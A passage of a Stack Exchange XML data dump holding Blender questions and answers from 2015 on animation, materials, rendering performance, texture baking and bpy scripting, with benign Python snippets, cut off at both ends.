LastEditDate="2019-06-06T20:13:30.030" LastActivityDate="2019-06-06T20:13:30.030" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23379" PostTypeId="2" ParentId="23369" CreationDate="2015-01-18T04:04:47.027" Score="0" Body="&lt;p&gt;&lt;code&gt;frame_set&lt;/code&gt; is a python function used to change the current frame, when you change the frame every object in the scene needs to be updated to reflect their location at that point in the animation. For a large scene this can take some time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you only want to see the armature movement you can hide all un-selected objects &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;H&lt;/kbd&gt; and use &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;H&lt;/kbd&gt; to show them again, you can also go into local view, press &lt;kbd&gt;Numpad /&lt;/kbd&gt; to toggle local view. By not having most objects visible can speed things up.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-01-18T04:04:47.027" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23380" PostTypeId="2" ParentId="23358" CreationDate="2015-01-18T04:06:28.897" Score="-2" Body="&lt;p&gt;While this method of achieving faster CyclesR rendering time does not include node setups,it does involve scene visibility, particularly tile sizes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tiles are the black squares that obscure the scene currently undergoing rendering by Blender. The purpose of tiles are to allow for more manageable rendering by the processor and thus minimizing chances of Blender crashing by limiting how much data the processor renders at a given time, saving memory in the process. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under the 'Performance' section in the 'Render' Properties window, you will find the 'Tile Size' selection. These dimensions represent the pixel size of tiles, where dimensions in powers of two provide faster render times for processors, 16x16 being the optimal choice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blenderguru.com/articles/4-easy-ways-to-speed-up-cycles/#.VLsvs0eorMN&quot; rel=&quot;nofollow&quot;&gt;http://www.blenderguru.com/articles/4-easy-ways-to-speed-up-cycles/#.VLsvs0eorMN&lt;/a&gt;&#xA;&lt;em&gt;It's the third render optimization tip listed in the provided link.&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this serves as another useful method aside from what you're seeking.&lt;/p&gt;&#xA;" OwnerUserId="11048" LastEditorUserId="11048" LastEditDate="2015-01-19T06:18:29.970" LastActivityDate="2015-01-19T06:18:29.970" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23381" PostTypeId="2" ParentId="23338" CreationDate="2015-01-18T04:59:22.603" Score="9" Body="&lt;p&gt;When uninstalling (on Windows at least), you don't need to worry about this, Blender will ask you if you want to keep or remove your config files etc, simply choose the former and after reinstalling, your settings will still be there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iXVx2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, if you uninstall and the version you are installing is different from the last, press &lt;em&gt;Copy Previous Settings&lt;/em&gt; and it will apply your stored config to your fresh install after which you can save as your new default with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Adyvl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2015-04-25T14:56:07.250" LastActivityDate="2015-04-25T14:56:07.250" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23382" PostTypeId="1" CreationDate="2015-01-18T05:11:48.517" Score="2" ViewCount="48" Body="&lt;p&gt;Is there a way to reconnect a linked .blend file that has been moved from its original location? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have all my files linked together, but I now need them in separate folders, is there a way I can move them without them becoming disconnected, or is there a way I can reconnect them once they are moved? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks! &lt;/p&gt;&#xA;" OwnerUserId="11039" LastActivityDate="2015-01-18T05:11:48.517" Title="How do I reconnect a linked .blend file?" Tags="&lt;linked-data&gt;" AnswerCount="0" CommentCount="0" ClosedDate="2015-01-18T05:24:02.090" ContentLicense="CC BY-SA 3.0" />
  <row Id="23383" PostTypeId="2" ParentId="23353" CreationDate="2015-01-18T05:49:00.337" Score="2" Body="&lt;p&gt;You could use a python script to create as many logic bricks as you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First I create the single UP sensor, I use the length of the sensor array to get the last one created and store that in &lt;code&gt;up_sens&lt;/code&gt; then set a few properties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the speed sensors we want 5 sensors with varying values so we can loop through the values and create each one, we keep track of these in a list for later. Then we do a similar loop for direction, using a list of keys instead of numbers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We finish off with two loops that lets us create a motion actuator and controller for each combination of speed and direction, with the up always included and using &lt;code&gt;link()&lt;/code&gt; to join each of them together.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;obj_sensors = bpy.data.objects['VehicleLogicCube'].game.sensors&#xA;obj_controllers = bpy.data.objects['VehicleLogicCube'].game.controllers&#xA;obj_actuators = bpy.data.objects['VehicleLogicCube'].game.actuators&#xA;&#xA;bpy.ops.logic.sensor_add(type='PROPERTY')&#xA;up_sens = obj_sensors[len(obj_sensors)-1]&#xA;up_sens.name = 'UP=1'&#xA;up_sens.property = 'up'&#xA;up_sens.evaluation_type = 'PROPEQUAL'&#xA;up_sens.value = str(1)&#xA;up_sens.show_expanded = False&#xA;&#xA;# create speed sensors&#xA;sp_sens = []&#xA;for sp in range(5):&#xA;    bpy.ops.logic.sensor_add(type='PROPERTY')&#xA;    sp_sens.append(obj_sensors[len(obj_sensors)-1])&#xA;    sp_sens[sp].name = 'Speed='+str(sp+1)&#xA;    sp_sens[sp].property = 'Speed'&#xA;    sp_sens[sp].evaluation_type = 'PROPEQUAL'&#xA;    sp_sens[sp].value = str(sp+1)&#xA;    sp_sens[sp].show_expanded = False&#xA;&#xA;# create direction sensors&#xA;dir_sens = []&#xA;for dk in ['W','S','A','D']:&#xA;    bpy.ops.logic.sensor_add(type='KEYBOARD')&#xA;    dir_sens.append(obj_sensors[len(obj_sensors)-1])&#xA;    dir_sens[len(dir_sens)-1].name = dk&#xA;    dir_sens[len(dir_sens)-1].key = dk&#xA;    dir_sens[len(dir_sens)-1].show_expanded = False&#xA;&#xA;# create motion actuators&#xA;m_idx = 0&#xA;for sp in range(5):&#xA;    for dk in range(4):&#xA;        bpy.ops.logic.controller_add(type=&quot;LOGIC_AND&quot;)&#xA;        and_cont = obj_controllers[len(obj_controllers)-1]&#xA;        and_cont.show_expanded = False&#xA;&#xA;        m_idx += 1&#xA;        bpy.ops.logic.actuator_add(type='ACTION')&#xA;        nact = obj_actuators[len(obj_actuators)-1]&#xA;        nact.show_expanded = False&#xA;        # create action here or create before starting script&#xA;        bpy.data.actions.new(name='Motion'+str(m_idx))&#xA;        bpy.data.actions['Motion'+str(m_idx)].use_fake_user=True&#xA;        nact.action = bpy.data.actions['Motion'+str(m_idx)]&#xA;&#xA;        nact.link(and_cont)&#xA;        up_sens.link(and_cont)&#xA;        sp_sens[sp].link(and_cont)&#xA;        dir_sens[dk].link(and_cont)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-01-18T05:49:00.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23384" PostTypeId="2" ParentId="23311" CreationDate="2015-01-18T06:28:03.783" Score="14" Body="&lt;p&gt;The oldest way to have an object follow a path is by &lt;strong&gt;Parenting&lt;/strong&gt; the object to the curve with the &lt;strong&gt;Follow Path&lt;/strong&gt; option.&#xA;This method has the problem mentioned on the question: the object moves along the path once and stops at frame 100.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OL0PL.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;How to make the movement cyclic since there are no Keyframes or other obvious choices?&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's look at how the movement works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Object travels along the path following the settings on this control panel:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LfkPX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;Frames&lt;/strong&gt; Value determines how many frames the object is going to take to travel through the path. The default value is 100, meaning that the object will take 100 frames to complete the circular motion (or the complete lenght of the path).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;Evaluation Time&lt;/strong&gt; determines how far along the path is the current frame.&#xA;At frame 1 the object will be at the starting point of the path.&#xA;At frame 100 the object will have finished travelling through the full length of the path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that past frame 100 the evaluation time keeps advancing, but the object has already completed a full loop through the path and has nowhere else to go!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7lpB3.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Yes! But how to change it!!??&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, there is another piece of this puzzle. Selecting the curve and opening the &lt;strong&gt;Graph Editor&lt;/strong&gt; reveals this graph:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FSgRh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That shows the problem clearly. The horizontal scale is &lt;strong&gt;Time&lt;/strong&gt; and vertical is &lt;strong&gt;Value&lt;/strong&gt;. At frame 0 the evaluation time is 0. At frame 100 the evaluation time is 100 and from there it keeps growing. To make a cycle we want the evaluation time to start over from 0 at frame 101!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By Pressing &lt;kbd&gt;N&lt;/kbd&gt; on the Graph editor (or the + sign on the top right of the window) you can access the panel and the Modifier function that is creating all this mess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Fe1Co.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Enough already!! How do I fix this???!!!&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Delete the Generator Modifier by clicking on the &lt;strong&gt;X&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AuPDG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create two keyframes by clicking while pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;. One keyframe should be at frame 1 with the value of 1 and one at frame 100 with a value of 100. Set the interpolation to linear and add a &lt;strong&gt;Modifier&lt;/strong&gt;, selecrting the option &lt;strong&gt;Cycles&lt;/strong&gt; to create and endless cycle!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OwbY2.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every 100 frames the Evaluation time will reset to 0 and start over. To alter the speed of the orbit just set the keyframes closer together to go faster or further away to go slower.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dXHsT.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-09-01T14:46:59.953" LastActivityDate="2015-09-01T14:46:59.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23385" PostTypeId="1" CreationDate="2015-01-18T07:21:41.723" Score="0" ViewCount="80" Body="&lt;p&gt;I posted this question:&#xA;&lt;a href=&quot;https://blender.stackexchange.com/questions/23255/imported-3d-scan-displays-texture-in-editor-but-renders-without-texture&quot;&gt;Imported 3D scan displays texture in editor, but renders without texture&lt;/a&gt;&#xA;and wasn't able to figure out my issue with the answers I was given and cannot find anyone else asking anything similar, so I imagine it's something quite simple that I'm just missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue I am having is that I am trying to use blender to reduce the filesize of a 3D model in obj mtl format to export it to three.js in json format, however whenever I export or render it, it exports and renders without the texture and I have narrowed it down to the fact that I have not assigned the model a material and texture within blender.  I do not have the texture, as importing the obj mtl files constructs the texture from a separate format, so from my understanding the texture is entirely encapsulated within blender and is displayed perfectly well in the editor, but during the render it is not there, presumably because I can't give it a material and texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something obvious here?  Is there a way to construct a texture file from what I currently have?  Sorry if posting two questions is not appropriate etiquette, but I feel as though I understand the issue more now and the nature of the question has changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:  I will try editing here to fully explain what I believe the problem is with the answer I was given.  When I was given the scan, I was given 3 files.  I have a .obj file, a .mtl file and a .png file that contains the texture.  However, the mapping of the texture in the .png file relies entirely on the obj and mtl files to construct it.  If I map the png file directly onto the mesh, this is what happens:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://s18.postimg.org/480i5pwd5/Capture.png&quot; alt=&quot;1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the texture is correctly constructed within the blender environment.  I need to find a way to attach the texture as it is displayed in the editor to the mesh so that it is displayed in the render using the texture that was constructed by blender when I imported it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is not simply an issue of not applying the texture to the material, but rather that I don't have a texture to apply to the material, but blender does.&lt;/p&gt;&#xA;" OwnerUserId="11006" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-01-18T19:26:35.123" Title="OBJ file imported renders without texture" Tags="&lt;texturing&gt;&lt;import&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2015-01-18T17:05:55.413" ContentLicense="CC BY-SA 3.0" />
  <row Id="23386" PostTypeId="1" AcceptedAnswerId="23387" CreationDate="2015-01-18T08:07:30.123" Score="15" ViewCount="11431" Body="&lt;p&gt;I've a sphere and then duplicated it. In object tree they are displayed as three siblings. I selected on of them and created a green glass material through node editor however this material was assigned to all three spheres. I confirmed that my selection is only on one sphere. What am I missing?&lt;/p&gt;&#xA;" OwnerUserId="11034" LastEditorUserId="12" LastEditDate="2016-02-19T15:41:42.360" LastActivityDate="2018-11-03T13:28:24.273" Title="How to put a unique material on duplicated objects separately?" Tags="&lt;materials&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="23387" PostTypeId="2" ParentId="23386" CreationDate="2015-01-18T08:40:19.560" Score="15" Body="&lt;p&gt;By default, when you duplicate an object in Blender, the copy is a new object but will still share some data with the original (by default this includes materials and textures) and will copy other data, like the mesh (which allows you edit each independently). Because of this, all these objects will share the material the original object has.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get each object to have its own unique material, you can select them all, go the &lt;em&gt;3d view&lt;/em&gt; header and use &lt;em&gt;Object &gt; Make Single User &gt; Object &amp;amp; Data &amp;amp; Materials + Tex&lt;/em&gt;. Or, you can select each sphere, go the material panel and click the &lt;em&gt;number&lt;/em&gt; &lt;img src=&quot;https://i.stack.imgur.com/gIPIh.png&quot; alt=&quot;enter image description here&quot;&gt; beside it to make it unique to &lt;em&gt;that&lt;/em&gt; sphere.&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2015-01-18T08:40:19.560" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23388" PostTypeId="1" CreationDate="2015-01-18T08:45:37.603" Score="2" ViewCount="72" Body="&lt;p&gt;How to launch render from command line with load trusted option? I haven't found any keys for allowing launching of scripts in a file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   $ /opt/blender-2.73-linux-glibc211-x86_64/blender  -b ./v/Scenes/10/sc10.blend -o //out/ -s 064 -e 126 -a&#xA;   ......&#xA;   skipping driver 'frame', automatic scripts are disabled&#xA;   ......&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there any way to launch scripts, if I don't have an active GUI and can't set the &quot;autorun scripts&quot; parameter?&lt;/p&gt;&#xA;" OwnerUserId="11051" LastEditorUserId="29" LastEditDate="2015-01-19T07:05:44.450" LastActivityDate="2015-01-19T07:05:44.450" Title="How to launch render from command line with load trusted option?" Tags="&lt;command-line&gt;" AnswerCount="0" CommentCount="5" ClosedDate="2015-01-19T07:20:50.700" ContentLicense="CC BY-SA 3.0" />
  <row Id="23390" PostTypeId="1" AcceptedAnswerId="23391" CreationDate="2015-01-18T12:36:08.477" Score="1" ViewCount="342" Body="&lt;p&gt;My ambient occlusion texture appears to be black at the centre of the mirror. Clipping at the centre is correct. What might be the problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/c5Y8V.png&quot; alt=&quot;Enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3377" LastEditorUserId="1224" LastEditDate="2015-01-18T15:46:10.957" LastActivityDate="2015-01-18T15:46:10.957" Title="Mirror modifier distort ambient occlusion texture on mirror axis" Tags="&lt;modeling&gt;&lt;mirror&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23391" PostTypeId="2" ParentId="23390" CreationDate="2015-01-18T13:20:49.223" Score="2" Body="&lt;p&gt;I think your problem is not the mirror modifier but the Subdivision Surface modifier.&#xA;It has a checkbox &lt;code&gt;Subdivide UVs&lt;/code&gt; which is enabled by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it was enabled during baking it can create this kind of black seams if you&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;delete the subsurf modifier&lt;/li&gt;&#xA;&lt;li&gt;do not display the subsurf modifier&lt;/li&gt;&#xA;&lt;li&gt;lower the subdivision level&lt;/li&gt;&#xA;&lt;li&gt;or disable &lt;code&gt;Subdivide UVs&lt;/code&gt; afterwards&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I guess you want a low poly character with smooth AO, so you probably deleted the subsurf modifier. In this case you should just deactivate &lt;code&gt;Subdivide UVs&lt;/code&gt; during baking.&lt;/p&gt;&#xA;" OwnerUserId="3089" LastEditorUserId="3089" LastEditDate="2015-01-18T14:04:28.930" LastActivityDate="2015-01-18T14:04:28.930" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23393" PostTypeId="1" CreationDate="2015-01-18T14:58:15.810" Score="3" ViewCount="956" Body="&lt;p&gt;I've been trying to figure this out for a while and haven't been sure on what to search in order to find an answer to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am creating a game in Unity whereby the player will be able to equip individual armour pieces (like chest/legs/gloves/boots/weapon/offhand etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know how to animate an entire model with an armature, but I'm unsure of how to animate model parts in separate model files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upon inspection of a few other games, I have seen a few with a separated 'armature' file that I assume handles all the animating for all model files, but I'm not sure whether this is the direction I need to go, and I'm not even sure how I'd go about doing that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition to this, some model parts may have unique bones related to them (for example: a shirt with a tie, and another shirt without a tie), would I put these bones on a single armature even though other connected models parts would not be using these bones?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume there's a simple way of doing this, as it'd be very inefficient to do a hundred or so animations for each individual armour set (with having to apply transformations, weighting and vertex groups to all of them).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could someone please point me in the right direction?&lt;/p&gt;&#xA;" OwnerUserId="11055" LastActivityDate="2015-03-20T16:25:26.443" Title="Animating for interchangeable model parts?" Tags="&lt;animation&gt;&lt;rigging&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23394" PostTypeId="2" ParentId="23360" CreationDate="2015-01-18T15:21:10.630" Score="0" Body="&lt;p&gt;a (poor) solution is to take an old keyboard and reconfigure key caps to align with Dvorak mapping. it would allow visual confirmation of key choice when working in blender mode, but will probably not be optimal as default setup designed to qwerty home key position. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;a brute force solution at best.&lt;/p&gt;&#xA;" OwnerUserId="11042" LastActivityDate="2015-01-18T15:21:10.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23395" PostTypeId="1" CreationDate="2015-01-18T15:26:02.883" Score="1" ViewCount="212" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xwqAI.jpg&quot; alt=&quot;Texture problem&quot;&gt;&#xA;As you can see from the attached image, there is a problem with the texturing. I have not yet added a texture, but simply went into texture mode, and part of the mesh shows a wireframe as compared to being white like the rest of the mesh. This part is the &quot;backside&quot; of the cape; it doesn't show the the white color, whereas the &quot;front-side&quot; does. The cape is just a plane with many vertices. This also holds true for the inside of other parts of the mesh like the shirt, shorts etc. When I did add a texture image, the error still persisted. What is causing this, and how can it be resolved? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&#xA;Backface culling is disabled.&#xA;I am using blender version 2.69.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="11056" LastEditorUserId="11056" LastEditDate="2015-01-18T16:34:24.370" LastActivityDate="2015-01-18T16:34:24.370" Title="Mesh partly shows wireframe upon texturing" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23396" PostTypeId="2" ParentId="23395" CreationDate="2015-01-18T15:47:25.200" Score="1" Body="&lt;p&gt;You probably have enabled &lt;code&gt;Backface Culling&lt;/code&gt;, either in the material's settings if you are in the game engine or in the viewport's shading settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Game engine material settings:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/reXLs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Viewport shading settings:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/nbg3E.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disable it and you should see the texture of your object on both sides.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not a bug in Blender but an optimization technique which is used in games to reduce the GPU load. If you have a closed mesh you can not see the backsides anyway. Only if your mesh is not closed you need to draw both sides.&lt;/p&gt;&#xA;" OwnerUserId="3089" LastActivityDate="2015-01-18T15:47:25.200" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23397" PostTypeId="1" AcceptedAnswerId="23493" CreationDate="2015-01-18T15:54:35.050" Score="0" ViewCount="249" Body="&lt;p&gt;Without motion blur it looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/U6MM4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With motion blur and shutter 1.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The core dissolves:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PFDAS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The compositing is similar to &lt;a href=&quot;https://blender.stackexchange.com/questions/3636/post-processing-lightsabers-in-blender&quot;&gt;Post-processing Lightsabers in Blender&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-01-20T17:38:59.443" Title="How could a lightsabers bright core be maintained when motion blurred?" Tags="&lt;cycles-render-engine&gt;&lt;compositor&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23398" PostTypeId="1" CreationDate="2015-01-18T16:24:26.280" Score="2" ViewCount="916" Body="&lt;p&gt;Hopefully someone can help. I tried to ask this in the question section, but I am not permitted to start new topics yet. This is partially a Unity question and partially a Blender question. I will be asking in both places. Thank you all in advance for any help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm new to CG and have been self educating for the past few months. I have progressed fairly well, but I can't seem to get exactly what I want with my objects when they are displayed in Unity. I would like them to appear as they do in Blender when they are rendered, but I can't seem to duplicate the effects in Unity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The biggest issue I have seems to somehow relate to scaling the texture prior to baking. Objects that do not require scaling prior to the bake to get the texture to display properly (e.g...Rocks) import to Unity perfectly, but Objects that require scaling (e.g....BlockWalls) to get the texture to display correctly go haywire when they are baked (Rock and Ruins were both baked the same way, only difference was the scaling, which I used a Texture Coordinate [UV] and Mapping Vector in Blender to position and scale). The textures show as a black field interspersed with small images of the textured UV unwrapped faces at various intervals on the surface of the object when applied in unity. I believe this is some type of issue with the interplay of light baking to the surface and scaling. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am able to get the textures into Unity just fine without baking and just save the image files and the .blend directly into Unity, but that's where the texture quality loss is happening. I have also tried various other modifications within Unity to attempt to restore some of the quality lost (e.g.... Bump/Diffuse. Parallax Diffuse, Self Illuminated Bump Diffuse/Parallax Diffuse etc... I do have proper Normal Maps and Parallax Maps, made via Crazy Bump and Gimp).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, when I am baking the texture image in Blender, I am in Cycles Render - Object and Image are selected. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am including screenshots for examples. Any help would be immensely appreciated. &lt;img src=&quot;https://i.stack.imgur.com/9NsAn.jpg&quot; alt=&quot;Unbaked Texture in Blender&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IVsnA.jpg&quot; alt=&quot;Baked Texture in Unity3D&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ykF5j.jpg&quot; alt=&quot;Rock Texture Baked in Unity3D, Same method, no scaling&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11058" LastActivityDate="2015-01-18T16:24:26.280" Title="Blender Texture Bake Problems" Tags="&lt;texturing&gt;&lt;texture-baking&gt;&lt;baking&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23399" PostTypeId="1" AcceptedAnswerId="23400" CreationDate="2015-01-18T16:28:50.983" Score="5" ViewCount="2269" Body="&lt;p&gt;How can I add remove and create a callback/event for a custom property using bpy. I have a scene, called &lt;code&gt;scene&lt;/code&gt;, and I want to add a custom property named &lt;code&gt;x&lt;/code&gt;, defulat value &lt;code&gt;2&lt;/code&gt; (as intereger), and a callback &lt;code&gt;foo&lt;/code&gt;, to run when it is changed. I also need to be able to read the value from it, and delete it. &lt;strong&gt;How do I do this?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2015-01-18T16:59:35.050" LastActivityDate="2015-01-18T16:59:35.050" Title="Control custom properties" Tags="&lt;python&gt;&lt;properties&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23400" PostTypeId="2" ParentId="23399" CreationDate="2015-01-18T16:34:11.850" Score="7" Body="&lt;p&gt;You can use static custom properties for this;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def foo(self, context):&#xA;    print(&quot;my test function&quot;, self)&#xA;&#xA;bpy.types.Scene.testprop = bpy.props.FloatProperty(update=foo)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will print:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;my test function &amp;lt;bpy_struct, Scene(&quot;Scene&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When the property is updated, through:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; bpy.context.scene.testprop = 11.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that the FloatProperty function takes the arguments:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;FloatProperty(name=&quot;&quot;, description=&quot;&quot;, default=&quot;&quot;, maxlen=0, options={'ANIMATABLE'}, subtype='NONE', update=None, get=None, set=None)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which are all optional; This does, however mean, that you can define set and get functions for the property.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use &lt;code&gt;StringProperty&lt;/code&gt; and &lt;code&gt;BoolProperty&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to add it to the UI, in a custom location, use something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class myPanel(bpy.types.Panel):     # panel to display new property&#xA;    bl_space_type = &quot;VIEW_3D&quot;       # show up in: 3d-window&#xA;    bl_region_type = &quot;UI&quot;           # show up in: properties panel&#xA;    bl_label = &quot;My Panel&quot;           # name of the new 